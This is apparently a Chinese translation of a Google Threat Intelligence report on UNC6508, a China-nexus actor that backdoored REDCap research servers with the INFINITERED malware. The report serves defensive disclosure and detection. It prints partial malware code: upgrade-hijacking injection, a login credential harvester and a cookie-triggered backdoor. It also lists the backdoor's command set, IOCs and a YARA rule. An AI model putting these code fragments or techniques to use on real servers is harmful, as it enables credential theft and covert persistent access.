Google Cloud Blog

Public and Private Medical Community Targeted by China-Nexus Threat Actor Pursuing Artificial Intelligence, Cyber, Medical, and National Defense Research

6.0内容质量
Public and Private Medical Community Targeted by China-Nexus Threat Actor Pursuing Artificial Intelligence, Cyber, Medical, and National Defense Research

TL;DR · AI 摘要

中国关联威胁行为者针对北美医疗和国防研究机构发起网络攻击,窃取人工智能、医疗和国家安全相关数据。

核心要点

  • 攻击者利用REDCap服务器部署恶意软件INFINITERED窃取凭证。
  • 攻击持续超过一年,使用新型数据泄露技术。
  • Google威胁情报团队已协助受影响机构进行修复。

结构提纲

按章节快速跳转。

  1. Google威胁情报团队发现中国关联威胁行为者UNC6508针对北美医疗和国防研究机构发起攻击。

  2. 攻击者利用外部REDCap服务器部署恶意软件,窃取凭证并入侵内部网络。

  3. 攻击者使用新型数据泄露技术和操作安全技术隐藏活动。

  4. Google威胁情报团队与Mandiant合作,协助受影响机构进行修复。

思维导图

用一张图看清主题之间的关系。

查看大纲文本(无障碍 / 无 JS 友好)
  • 中国关联威胁行为者攻击医疗和国防研究
    • 攻击目标
      • 北美医疗和国防研究机构
      • 人工智能、医疗、国家安全数据
    • 攻击手段
      • 利用REDCap服务器部署恶意软件
      • 使用新型数据泄露技术
      • 操作安全技术隐藏活动
    • 应对措施
      • Google威胁情报团队协助修复
      • 建议启用2-Step Verification

金句 / Highlights

值得收藏与分享的关键句。

#网络安全#威胁情报#医疗研究#Google
打开原文

中国关联威胁行为者针对公共和私营医疗领域开展活动,目标包括人工智能、网络、医疗和国防研究 | Google Cloud 博客

威胁情报

中国关联威胁行为者针对公共和私营医疗领域开展活动,目标包括人工智能、网络、医疗和国防研究

2026年6月16日

##### Google 威胁情报小组

##### Google 威胁情报

了解最关键威胁的可见性和上下文。

联系我们并获取演示

撰写人:Patrick Whitsell, John McGuiness

Google 威胁情报小组(GTIG)已识别出一项复杂活动,该活动被归因于一个与中华人民共和国(PRC)有关联的威胁行为者 UNC6508,目标是北美学术、医疗和军事研究社区的机构。该威胁行为者在一年多时间内未被发现,其入侵了面向外部的网络应用,部署了定制的恶意软件,转向了敏感的内部系统,并利用企业行政工具进行隐蔽的数据提取。该威胁行为者有广泛的收集目标,包括与国家安全相关的敏感防御情报、印太司令部作战、人工智能、无人车辆系统、网络进攻计划以及医疗研究。

GTIG 已破坏了与该威胁行为者相关的恶意基础设施。在与 Mandiant 咨询公司合作后,我们在检测到攻击后通知了受影响的组织,并提供协助进行修复。我们已将相关情报更新至 Google 安全运营(SecOps),使防御者能够在其网络中识别出入侵迹象(IOCs)。我们鼓励所有用户和客户遵循针对第三方身份提供商(IdP)的最佳实践,并确保所有账户均已启用双重验证(2SV)。

GTIG 与 Mandiant Consulting、FLARE 团队和 Workspace Security 密切合作,结合我们在 Google Cloud 上的威胁情报、事件响应和逆向工程专业知识,从而全面了解从初始入侵到完成任务的整个攻击生命周期。GTIG 还感谢受影响的组织在合作过程中提供的宝贵信息,以及他们在攻击后阶段所分享的见解。

预防、检测与修复

GTIG 建议防御者在所有云企业平台上实施以下安全措施,以缓解此威胁:

  • 保护管理员账户:为企业的管理员账户强制实施防钓鱼的双因素验证(2SV),包括通过第三方身份提供商进行验证。
  • 高级保护:考虑将高敏感账户纳入我们的高级保护计划,以获得额外的保护措施,防止恶意软件和钓鱼攻击。
  • 防止 Cookie 被窃:在 Windows 设备上为高敏感账户强制使用基于设备的会话凭证(DBSC)和 CAA,以防止会话劫持。
  • 监控审计日志:启用审计日志,用于分析、监控并提醒数据的变更情况。
  • 控制数据:定义数据丢失防护(DLP)规则,以阻止或提醒对敏感数据的外部共享。
  • 审核合规规则:检查管理员审计日志和内容合规规则,以发现未经授权的修改。
  • SIEM 覆盖:考虑使用 Google 安全运营(SecOps),并确保 Workspace 日志包含在您的安全信息和事件管理(SIEM)流程中。
  • 密码保护:使用 Chrome 企业密码泄露检测功能,以在检测到潜在被泄露的密码使用时发出警报。
  • 修补 REDCap:将 REDCap 安装更新至最新软件版本,并确保彻底删除旧版本。
  • 监控 INFINITERED:使用提供的 YARA 规则和 IOC 对 REDCap 服务器进行扫描,以检测是否存在 INFINITERED。

医疗研究大学被入侵事件

2023 年 9 月,一家北美医疗研究机构的 REDCap 服务器遭到入侵。攻击活动持续到 2025 年 11 月。在此期间,UNC6508 实施了以下攻击链:

  • 攻击 REDCap 服务器。
  • 三个月后部署 INFINITERED 恶意软件。
  • INFINITERED 隐秘地记录凭证,并在升级后持续超过一年。
  • 转移到域管理员账户。
  • 添加恶意内容合规规则。
  • 静默地将匹配的电子邮件“BCC 转发”到威胁行为者控制的账户。

图 1:活动攻击流程图

初始访问:REDCap 利用与 INFINITERED

UNC6508 一直针对 REDCap 服务器进行攻击。REDCap 是一个基于网络的软件平台,专门用于构建和管理符合医疗和科学研究法规的在线数据库和调查。它在北美医疗研究社区中被广泛使用。

GTIG 无法确认 UNC6508 最初是如何获得对 REDCap 服务器的访问权限的。按照设计,REDCap 允许管理员继续运行与当前版本并行的旧版软件。UNC6508 被观察到在多个目标组织的 REDCap 系统上探测这些存在漏洞的旧版本。这不仅突显了迅速应用安全补丁的重要性,也强调了及时移除旧版本软件以防止降级攻击的必要性。

在成功在 REDCap 服务器上建立立足点后,UNC6508 执行了内部侦察和凭证发现,以获取数据库和服务账户的凭证。威胁行为者还部署了一个名为 "help.php" 的网络外壳,该外壳在 REDCap 应用程序中保持持久性并充当上传器。

INFINITERED 分析

初始入侵三个月后,UNC6508 部署了被追踪为 INFINITERED 的自定义恶意软件负载。该恶意软件通过将恶意代码注入合法的 REDCap 系统文件中,利用三个不同的模块组件实现其功能。

  • 植入器和升级拦截
  • 凭证收集器
  • 后门,具备命令与控制(C2)功能

GTIG 发现美国和加拿大多个组织被 INFINITERED 感染。在检测到这些感染后,所有这些组织都立即被告知了该情况,并获得了我们的协助以进行修复。

图 2:INFINITERED 示意图

#### 植入器和升级拦截

为了维持持久的远程访问,INFINITERED 通过拦截升级过程,将它的代码注入到新的 REDCap 版本中。这种能力被嵌入到合法的 REDCap 升级系统文件中。INFINITERED 在以下步骤中执行代码注入。

  • 读取当前软件版本,其中包括 INFINITERED 代码。
  • 使用 GUID 分隔符 b49e334d-9c01-463e-9bc5-00a6920fb66e 提取恶意逻辑。
  • 将后门代码注入自定义钩子配置文件。
  • 将凭证收集器代码注入认证系统文件。
  • 将步骤 2 中提取的代码注入升级系统文件。

在 Elastic Beanstalk 环境中,INFINITERED 执行额外步骤以确保在云部署中的持久性。

code
// b49e334d-9c01-463e-9bc5-00a6920fb66e
...
$file_upgrade = $base_path."Upgrade.php"; 
$file_content_upgrade = $zip->getFromName($file_upgrade); // new upgrade file content
$file_content_upgrade_local = file_get_contents(__FILE__); // Contents of the current file 
...
if ($file_content_upgrade !== false) {
    // Base64 GUID delimiter
    $dummy_marker = base64_decode('YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl');
    $pattern = "/$dummy_marker(.*?)$dummy_marker/s";
    if (preg_match($pattern, $file_content_upgrade_local, $matches)) {
        $extracted_text = $matches[0];
        $search_content = "// If running on AWS Elastic Beanstalk"; 
        $upgrade_decode = "// ".$extracted_text."\r\n\t\t".$search_content;
        $new_content = str_replace($search_content, $upgrade_decode, $file_content_upgrade);
        $zip->deleteName($file_upgrade);
        $zip->addFromString($file_upgrade, $new_content);
    }
}
$zip->close();
...
// b49e334d-9c01-463e-9bc5-00a6920fb66e

代码片段 1:拦截升级并注入 INFINITERED 代码

#### 凭证收集器

INFINITERED 将凭证收集器注入到认证系统文件中,以入侵用户账户。恶意软件的这一组件在登录过程中通过 POST 请求捕获用户名和密码。这些凭证使用环境的默认加密例程进行加密,并隐藏在本地 REDCap 会话数据库表中,会话 ID 前缀为字符串 “xc32038474a”。

code
$currentUTC = gmdate('Y-m-d H:i:s');
$str = encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);
include dirname(__FILE__, 3) . DIRECTORY_SEPARATOR . 'redcap_connect.php';
$expiration_timestamp = strtotime("+60 days", strtotime($currentUTC));
$session_id = 'xc32038474a'.substr(bin2hex($currentUTC), -20);
$session_sql = "INSERT INTO [REDACTED] ([REDACTED],[REDACTED],[REDACTED]) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))";
@$rc_connection->query($session_sql);

代码片段 2:在合法数据库表中隐藏凭证

#### 后门

INFINITERED 还具有后门功能,它在更新包内的自定义钩子系统文件中建立后门,具体是在每次加载 REDCap 页面时执行的函数中。这个全局钩子确保后门在每次页面加载时运行。INFINITERED 寻找一个名为 “REDCAP-TOKEN”的特定 HTTP Cookie 参数,以及以特定明文字符串开头的 Cookie 值。如果满足这些条件,恶意软件将剥离前缀,并使用环境的默认解密例程对剩余的有效载荷进行解密。

code
$cookieValue = $_COOKIE['REDCAP-TOKEN'];
if ($cookieValue) {
    $magic_flag = '[REDACTED]'; // Cookie 前缀
    ...
    // 如果找到 Cookie 前缀,解密消息
    $key = '[REDACTED]';
    $req_data = substr($cookieValue, strlen($magic_flag));
    $req_data = decrypt($req_data, $key);

代码片段 3:对 INFINITERED 的命令进行解密

如果解密后的有效载荷为空,恶意软件将作为信标运行,返回系统详细信息,如操作系统、PHP 版本、工作目录和数据库凭证(包括主机名、用户名、密码和盐值)。当有效载荷非空时,恶意软件将解析有效载荷中的命令标签,威胁行为者可以使用这些标签执行 shell 命令、运行原始 SQL 查询和传输文件。

#### 支持的命令

INFINITERED 可以执行以下命令。

命令标签

描述

00

使用 shell_exec 执行任意系统命令。

02

将文件上传到服务器。有效载荷包含目标路径和文件内容。

03

从合法数据库表中检索被盗凭证。

04

从合法数据库表中删除被盗凭证记录。

05

对数据库执行任意 SQL 查询并返回结果。

ej671a16i7fd8202nu6ltfg5p6x7u

从服务器下载任意文件。此标签后跟随的有效载荷指定目标文件的完整文件系统路径。

空有效载荷

信标系统信息、数据库凭证和配置详细信息。

表 1:INFINITERED 支持的命令

域名内容合规规则滥用

在最初的入侵事件发生一年多后,UNC6508利用从REDCap中窃取的重叠凭据,访问了一个管理员账户。这凸显了全面保护系统的重要性与挑战。防御者应启用两步验证(2SV),并确保在不同的安全域中使用唯一的凭据,以缓解凭据重放攻击。

随后,UNC6508利用内容合规规则,这是许多基于云的企业生产力套件中的一项合法功能,将特定的电子邮件通信外泄出去。管理员可以创建这些规则,用于管理包含与预定义词组、短语、文本模式或数字模式匹配内容的电子邮件。默认情况下,合规规则适用于组织单位中的所有用户。使用合规规则进行数据外泄是一种新颖的技术,此前未在与中华人民共和国关联的威胁行为者中观察到。

具体来说,UNC6508创建了一个名为“Patroit”[sic]的合规规则,该规则使用正则表达式匹配发送或接收的电子邮件中的关键字和电子邮件地址模式。匹配的邮件会被静默地抄送(BCC)转发到一个由威胁行为者控制的Gmail地址,BebitaBarefoot774[@]gmail[.]com,从而提供一个隐蔽且持续的数据外泄流。在发现后,GTIG禁用了该Gmail账户,以防止进一步的数据外泄。

图3:目标情报收集类别

“Patroit”合规规则中使用的模式表明,情报收集目标涉及地缘战略政策、军事战略、先进技术以及医学研究。这些模式还包括这些领域组织成员的专业电子邮件地址和电话号码。其中一些术语存在拼写错误,表明该列表是手动维护的。

UNC6508的情报收集范围如此广泛,可能表明其目标范围不仅限于医疗研究社区中已识别的受害者。GTIG认为,这些情报收集优先事项与中华人民共和国的战略利益是一致的。

虽然大多数术语与国防和科技相关,但包括医疗研究设施以及特定病原体“Chikungunya”在内的术语则显得与众不同。Chikungunya是一种通过蚊子传播给人类的病毒性疾病,自2025年7月起在中国广东省引发了疫情。

操作安全(OpSec)

GTIG观察到UNC6508使用了复杂且细致的操作安全(OpSec)技术,以掩盖其活动,避免被防御者发现。

图4:UNC6508操作安全技术

UNC6508大量依赖于混淆(OBF)网络。这种策略现在已被与中华人民共和国关联的威胁行为者频繁使用,包括将攻击操作的流量通过被入侵的路由器、住宅代理、虚拟专用服务器(VPS)和其他设备进行路由。

此次操作使用了完全基于美国的OBF网络IP地址,用于访问“BebitaBarefoot774[@]gmail[.]com”账户,以及在重放合法凭据以访问被入侵的企业管理员账户时。此外,还使用了其他OpSec技术,例如通过批量创建服务获取威胁行为者控制的Gmail账户,并专门将其用于电子邮件数据外泄。

通过保持高水平的操作安全(OpSec),UNC6508显著增加了防御者识别恶意模式、准确归因以及映射威胁行为者基础设施的难度。

归因

GTIG高度确信将此次活动归因于UNC6508。这一评估基于活动之间的基础设施重叠、在REDCap服务器上持续使用INFINITERED后门,以及对医疗研究和国防部门的特定目标。我们认为,UNC6508是一个以间谍活动为目的的威胁集群,其优先事项与历史上由中国政府支持的间谍活动趋势和情报收集需求一致。

感染指标(IOCs)

为了帮助更广泛的社区,我们还为注册用户在GTI集合中提供了一组指标列表。

#### 网络指标

指标

类型

上下文

BebitaBarefoot774@gmail.com

电子邮件

用于数据外泄的电子邮件账户

23.169.65.49

IP地址

管理员登录来源(被入侵的ASUS路由器)

#### 文件指标

SHA256

持久性(help.php)

ba6b73b0ca0dc7f86b3b397893ac32d729fd53f9df20643288f141f29d020af7

凭证收集器

db65c1b9f9e4cb4d729f45ad4b6fcf3e277caf9eb4c875425dec93fd883f9136

c1ac43d23f89d41eb4ff131678ab562ab2cfed9aa334b13767ef141d303b0e5b

后门

8f0158855a656b629ca76ebca565f18bc25563ded34b65d6771632c20edb68ec

51a57bfc9ed3eb6451c1c289607814d59e1698c666fb97ac5f694c398f23d045

植入器

4efbef69eb3b09bacff892d6a55778d07c418e7f15eba3cf1245e8cdfd8dda0b

58bb25777e0aa86bcd2125101e0bca4e8732b03d91bd8d2f205b446a2a8d5c86

#### 主机指标

b49e334d-9c01-463e-9bc5-00a6920fb66e

INFINITERED当前软件版本GUID分隔符

xc32038474a

INFINITERED REDCap数据库会话ID前缀

MITRE ATT&CK映射

战术

技术ID

技术名称

上下文/活动

初始访问

T1190

利用面向公众的应用程序

利用REDCap调查管理服务器。

持久性

T1505.003

服务器软件组件:Web Shell

部署INFINITERED和上传器。

T1554

妥协客户端软件二进制文件

修改REDCap以拦截更新。

防御规避

T1027

混淆的文件或信息

在PHP文件中使用Base64编码对恶意负载进行混淆。

T1090.003

代理:多跳代理

通过被入侵的物联网设备(OBF网络)路由流量。

T1562.001

削弱防御:禁用或修改工具

创建“静默”BCC规则以避免用户检测。

T1689

降级攻击

利用REDCap的易受攻击的旧版本。

凭证访问

T1555

从密码存储中获取凭证

访问本地配置文件。

T1056.003

输入捕获:Web门户捕获

INFINITERED从POST登录请求中收集明文凭证。

收集

T1114.003

电子邮件收集:电子邮件转发规则

使用内容合规规则(“Patroit”)进行自动数据外泄。

T1213

来自信息存储库的数据

在存储和电子邮件中搜索战略关键词。

命令与控制

T1071.001

应用层协议:Web协议

通过HTTP Cookie参数(REDCAP-TOKEN)进行C2通信。

数据外泄

T1567

通过Web服务外泄数据

静默地将敏感数据转发到攻击者控制的Gmail地址。

对C2命令的HTTP响应

检测

#### YARA规则

code
rule G_Backdoor_INFINITERED_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
	strings:
		$magic_flag = "ej671a16i7fd8202nu6ltfg5p6x7u"
		$magic_flag_base64 = "ej671a16i7fd8202nu6ltfg5p6x7u" base64
		$marker = "b49e334d-9c01-463e-9bc5-00a6920fb66e"
		$marker_base64 = "YjQ5ZTMzNGQtOWMwMS00NjNlLTliYzUtMDBhNjkyMGZiNjZl"
		$s1 = "substr($cookieValue, strlen($magic_flag));"
		$s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']"
		$s3 = "'data' => encrypt($data, $key)"
		$s4 = "$data = shell_exec($command);"
		$s5 = "move_uploaded_file($tmpPath, $fileName)"
		$s6 = "$data = implode('|', $fields)"
		$b_s1 = "substr($cookieValue, strlen($magic_flag));" base64
		$b_s2 = "getcwd(), php_uname(), phpversion(), $_SERVER['SERVER_SOFTWARE']" base64
		$b_s3 = "'data' => encrypt($data, $key)" base64
		$b_s4 = "$data = shell_exec($command);" base64
		$b_s5 = "move_uploaded_file($tmpPath, $fileName)" base64
		$b_s6 = "$data = implode('|', $fields)" base64
		$t1 = "(isset($_POST['username']) && $_POST['password'])"
		$t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))"
		$t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);"
		$t4 = "redcap_connect.php"
		$b_t1 = "(isset($_POST['username']) && $_POST['password'])" base64
		$b_t2 = "INSERT INTO redcap_sessions (session_id, session_data, session_expiration) VALUES ('$session_id', '$str', FROM_UNIXTIME($expiration_timestamp))" base64
		$b_t3 = "encrypt($currentUTC . '[::]' . $_POST['username'] . '[::]' . $_POST['password']);" base64
		$b_t4 = "redcap_connect.php" base64
		$u1 = "$zip->open($filename) === TRUE)"
		$u2 = "$hooks_encode ="
		$u3 = "$auth_encode ="
		$u4 = "$file_content_hooks = $zip->getFromName($file_hooks);"
		$u5 = "$file_content_auth = $zip->getFromName($file_auth);"
		$u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);"
		$u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);"
		$u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);"
		$u9 = "str_replace($search_content, $auth_decode, $file_content_auth);"
		$b_u1 = "$zip->open($filename) === TRUE)" base64
		$b_u2 = "$hooks_encode =" base64
		$b_u3 = "$auth_encode =" base64
		$b_u4 = "$file_content_hooks = $zip->getFromName($file_hooks);" base64
		$b_u5 = "$file_content_auth = $zip->getFromName($file_auth);" base64
		$b_u6 = "$file_content_upgrade = $zip->getFromName($file_upgrade);" base64
		$b_u7 = "str_replace($search_content, $hooks_decode, $file_content_hooks);" base64
		$b_u8 = "str_replace($search_content, $upgrade_decode, $file_content_upgrade);" base64
		$b_u9 = "str_replace($search_content, $auth_decode, $file_content_auth);" base64
		$filemarker = "<?php"
	condition:
		filesize < 1MB and $filemarker in (0 .. 128) and (((any of ($magic*) or any of ($marker*)) and (any of ($s*) or any of ($t*) or any of ($u*))) or 4 of ($s*) or 4 of ($b_s*) or all of ($t*) or all of ($b_t*) or 6 of ($u*) or 6 of ($b_u*))
}

Posted in

  • 威胁情报